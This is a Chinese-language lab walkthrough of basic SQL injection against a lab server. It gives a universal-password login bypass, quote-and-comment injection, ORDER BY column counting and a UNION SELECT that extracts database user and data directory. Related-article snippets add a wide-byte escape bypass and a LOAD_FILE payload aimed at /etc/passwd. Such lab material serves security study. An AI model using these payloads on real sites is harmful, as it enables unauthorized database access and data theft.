SQL注入之注入原理

文章目录

注入原理-基础实验
- 实验内容
- - 实验一：字符型注入
  - 实验二：联合注入
- 免责声明

注入原理-基础实验

实验内容

1、访问172.16.12.2

2、万能密码登录 'or 1=1#

3、登陆后有两个注入实验，进行手工注入

实验一：字符型注入

使用hackbar输入?id=1’，查看报错回显，提示多了个分号 ’

所以payload就可以这么写,用%23将后面内注释掉即可

Payload：

http://172.16.12.2/string.php?id=1'%23

5、成功

实验二：联合注入

使用hackbar输入 ?id=1’，查看报错回显，提示多了个分号 ’

将分号 '去除，成功 Payload：

http://172.16.12.2/number.php?id=1%23 发现页面正常

7、判断列数 Payload：

http://172.16.12.2/number.php?id=1 order by 3 %23 页面没有报错
http://172.16.12.2/number.php?id=1 order by 4 %23 页面报错

8、使用联合查询语句，查询信息 Payload：

?id=-1 union select 1,current_user(),@@datadir #

免责声明

本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责！

SQL注入之注入原理相关推荐

SQL注入攻击实现原理与攻击过程详解
SQL注入攻击实现原理与攻击过程详解结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到 ...
SQL注入攻击的原理、分类和防御方法
一.SQL注入攻击原理恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行. 二.SQ ...
sql注入pythonpoco_SQL注入原理与解决方法代码示例
一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...
SQL注入之基础原理
SQL注入之基础原理一.SQL注入的产生 SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序 ...
sql注入攻击的原理（sql注入攻击防范）
SQL 注入(SQLi)是一种可执行恶意 SQL 语句的注入攻击.这些 SQL 语句可控制网站背后的数据库服务.攻击者可利用 SQL 漏洞绕过网站已有的安全措施.他们可绕过网站的身份认证和授权并访问整 ...
sql注释符注入防御_读《SQL注入***与防御》笔记
' //单引号报错,转义 %bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则 UNION ALL SELECT LOAD_FILE('/etc/pas ...
sql 整改措施注入_防止ＳＱＬ注入的五种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
SQL 注入漏洞（八）时间注入/延时注入
一.时间注入时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧. 在 mysql 里函数 sleep() 是延时的意思,sleep(10) ...
sql注入--POST注入
sql注入–POST注入靶场:sqli-labs-master 下载链接:靶场下载链接 POST和GET的区别 GET提交的数据会显示在URL中,POST则不会.这是最显而易见的差别.这点意味着GE ...
SQL注入——DNSLOG注入
SQL注入--DNSLOG注入 SQL注入--DNSLOG注入 SQL注入--DNSLOG注入一.原理一.原理当我们遇到盲注漏洞的时候,注入过程没有回显,手工测试会花费大量的时间,如果用sqlm ...